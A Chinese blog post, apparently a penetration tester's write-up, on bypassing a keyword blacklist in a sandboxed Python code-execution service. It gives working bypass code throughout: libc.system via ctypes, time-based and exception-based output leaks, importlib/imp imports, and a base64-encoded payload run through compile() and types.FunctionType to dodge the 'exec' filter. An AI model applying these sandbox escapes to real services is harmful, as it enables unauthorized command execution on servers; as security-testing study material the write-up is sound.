Python任意代码执行绕过姿势
本文最后更新于 6 天前,其中的信息可能已经过时,如有 错误/失效 请发送邮件到xiaoc1737938763@gmail.com或留言。

最近在项目测试实战中遇到了一个Python任意代码执行,本意是编写一段代码给到服务器执行,然后用来分析投资收益和财务情况,而每当这段python代码执行,服务器都会启动一个docker容器,并且容器与外部无法通信,只能执行系统命令,那说了这么多,shell那不是手到擒来?

但是存在黑名单过滤

具体黑名单模块如下:

[‘os’, ‘platform’, ‘linecache’, ‘subprocess’, ‘builtins’, ‘requests’, ‘codecs’, ‘urllib’, ‘Popen’, ‘eval’, ‘exec’, ‘__builtins__’, ‘__import__’]

可以看到os和subprocess模块已经被过滤,无法直接import执行命令

eval和exec同样被过滤了,动态执行字符串代码这条路看样子也不太行

动态导入__import__函数,requests http请求同样被过滤

并且还存在一个问题,那就是没有回显,只返回执行时间,无法知道执行结果

那如何解决这些问题呢?

ctypes的魔力

ctypes 模块是 Python 中的一个标准库,用于与 C 语言编写的动态链接库(dll 、so或共享库)进行交互。它允许 Python 程序直接调用 C 库中的函数,并与它们传递数据。

通过上面的解释我们可以发现,ctypes是可以调用系统动态链接库的,那么我们可以加载 Linux 的 C 标准库(libc),代码如下图

这段代码可以在大多数linux上执行

import ctypes

# 获取 libc 库
libc = ctypes.CDLL("libc.so.6")

# 定义要执行的命令
command = b"ls"

# 使用 libc 的 system 函数执行命令
libc.system(command)

这段代码可以绕过上面的黑名单,但是还有一个问题便是没有回显

time的利用

当时我在思考如何回显时,突然想到了一个很类似的情况,sql blind time based,基于时间的sql盲注,仔细想想是不是很相似,也是通过时间返回来判断出回显数据。代码如下

import ctypes
import time

libc = ctypes.CDLL("libc.so.6")

command = b"id > /tmp/success 2>&1"

libc.system(command)

with open('/tmp/success', 'r') as f:
   text = f.read()

if ord(text.strip()[0]) > 79: #使用二分法
   time.sleep(10)

这样我们就可以通过时间判断命令执行结果,我当时测试到这儿就结束了,觉得没有其他方法了

后来我的组长大佬帮我看了这个漏洞,一顿操作令我茅塞顿开

raise主动抛出异常

raise函数可以手动定义异常抛出的内容,这个python代码执行漏洞还有一点便是如果在执行过程中报错,会显示报错信息。

那么我们就可以利用raise主动抛出异常,内容就可以自定义为命令执行的结果

import ctypes

libc = ctypes.CDLL("libc.so.6")

command = b"id > /tmp/success 2>&1"

libc.system(command)

with open('/tmp/success', 'r') as f:
   output = f.read().strip()
   raise RuntimeError(output) from None
[root@localhost ~]# python3 a.py 
Traceback (most recent call last):
File "a.py", line 11, in <module>
  raise RuntimeError(output) from None
RuntimeError: uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

至此第一次绕过结束了,写上报告提交

过了几天项目复测

importlib和imp模块

这次开发把ctypes加入了黑名单,想了很久,问chatgpt还有没有什么方法能导入模块,除了import和__import__导入,有两个模块让我看到了希望,importlib和imp模块,imp模块在python3.12后就被弃用了,但之前的版本还是可以使用。

>>> import importlib
>>> module = importlib.import_module('os')
>>> module.system('id')
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
0
>>> import imp
>>> module = imp.load_module('os', *imp.find_module('os'))
>>> module.system('id')
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
0

可以看到这两个模块都可以导入os并且执行命令并绕过黑名单,之后加上raise抛出异常回显就可以了

[root@localhost ~]# cat b.py 
import importlib

module = importlib.import_module('os')
module.system('id > /tmp/success 2>&1')
with open('/tmp/success', 'r') as f:
   output = f.read().strip()
   raise RuntimeError(output) from None
[root@localhost ~]# python3 b.py
Traceback (most recent call last):
 File "b.py", line 7, in <module>
   raise RuntimeError(output) from None
RuntimeError: uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

然后事情并不是我想的那么简单,运行后报了这样一个错误,两个模块都是

Traceback (most recent call last):
 File strategy.py, line 19 in <module>
   import importlib

ImportError: module importlib is restricted

chatgpt是这样回答的:如果你在运行 Python 代码时遇到 ImportError: module importlib is restricted 错误,可能是因为你在一个受限的运行环境中执行代码。这种环境可能禁用了某些模块的导入,比如一些沙盒环境、嵌入式系统,或者你使用的 Python 解释器配置了某种限制策略。

没办法,只能放弃,寻找别的出路

其他文件导入模块

之后突然想到可以导入其他文件,比如两个文件名是abc.py和cmd.py,可以import cmd,然后就可以调用cmd.py文件内的函数了。但是现在问题来了,这个python代码执行是每执行一次就会重新启动一个docker容器,意思就是你这次写了cmd.py,但是下次再执行就是一个全新的容器了,无法写入一个文件后再import。

反转又来了,python支持这样写,注意这里cmd.py的内容不能有黑名单的内容,所以咱们还是用importlib或imp

with open('cmd.py','w') as f:
   f.write("""import importlib
def cmd():
  module = importlib.import_module('os')
  module.system('id > /tmp/success 2>&1')
  with open("/tmp/success", "r") as file:
      output = file.read().strip()
      raise RuntimeError(output) from None
""")

import cmd

cmd.cmd()

先写入cmd.py文件,再import cmd,然后调用cmd.cmd()函数,执行命令。ok想法很美好,看看实际执行

Traceback (most recent call last):
 File strategy.py, line 19 in <module>
   import importlib

ImportError: module cmd is restricted

没错又是它,之后我换了imp,甚至cmd函数只是print打印不import任何模块,都会报这个错误。也就是说系统环境也把这样的方法给禁用掉了。

那又该咋解决呢?

其他文件导入模块这条路可以说是也死了,思路转到动态执行字符串上,有没有除了exec和eval函数可以动态执行字符串代码呢?答案就是compile

compile

compile() 是 Python 内置的一个函数,用于将字符串形式的代码编译为字节码或 AST 对象,然后可以通过 exec()eval() 来执行这些编译后的代码。

有师傅会想,你这个函数通过 exec()eval() 来执行,不也会调用exec或者eval函数吗?

问题先放这里,看到代码后相信师傅们就会恍然大悟,话不多说,先上代码

import types
import base64

str1 = 'ex'+'ec'

code_str = "ZGVmIGNtZCgpOgogICAgX19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2lkID4gL3RtcC9zdWNjZXNzIDI+JjEnKQogICAgd2l0aCBvcGVuKCIvdG1wL3N1Y2Nlc3MiLCAiciIpIGFzIGZpbGU6CiAgICAgICAgb3V0cHV0ID0gZmlsZS5yZWFkKCkuc3RyaXAoKQogICAgICAgIHJhaXNlIFJ1bnRpbWVFcnJvcihvdXRwdXQpIGZyb20gTm9uZQ=="

code_obj = compile(base64.b64decode(code_str).decode('utf-8'), '<string>', str1)

function_code = [const for const in code_obj.co_consts if isinstance(const, types.CodeType)][0]

dynamic_func = types.FunctionType(function_code, globals())

dynamic_func()

这次我用了base64编码,为了逃避黑名单检测,base64解码出来是这样的

def cmd():
   __import__('os').system('id > /tmp/success 2>&1')
   with open("/tmp/success", "r") as file:
       output = file.read().strip()
       raise RuntimeError(output) from None

至于为什么要用函数,这就和上面的问题相关了,如果不用函数,就是下面这种情况

code_str = """
for i in range(3):
  print(f'Iteration {i}')
"""

code_obj = compile(code_str, '<string>', 'exec')
exec(code_obj)

可以看到compile编译后的代码对象仍需要exec函数来执行,绕不过黑名单检测。但是如果我们用函数,情况就不一样了。

将函数编译成代码对象,然后访问该代码对象中的常量,因为 compile(‘exec’) 会编译一个顶层模块代码块,常量中有函数对象,然后使用 types.FunctionType 将代码对象转化为函数,最后调用动态生成的函数,即可执行cmd函数。

过程中没有用到exec或eval函数,绕过了黑名单检测。不过有细心的师傅肯定还发现了str1这个字符串,没错,仅仅是为了替换’exec’这个简单字符串,因为compile函数在生成代码对象时,会用到’exec’字符串作为参数,而这就简单了,因为它不是用作函数,而是简单的字符串,咱们写个’ex’+’ec’替换就能绕过黑名单。

最终绕过了黑名单,实现Python任意代码执行拿到shell

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
下一篇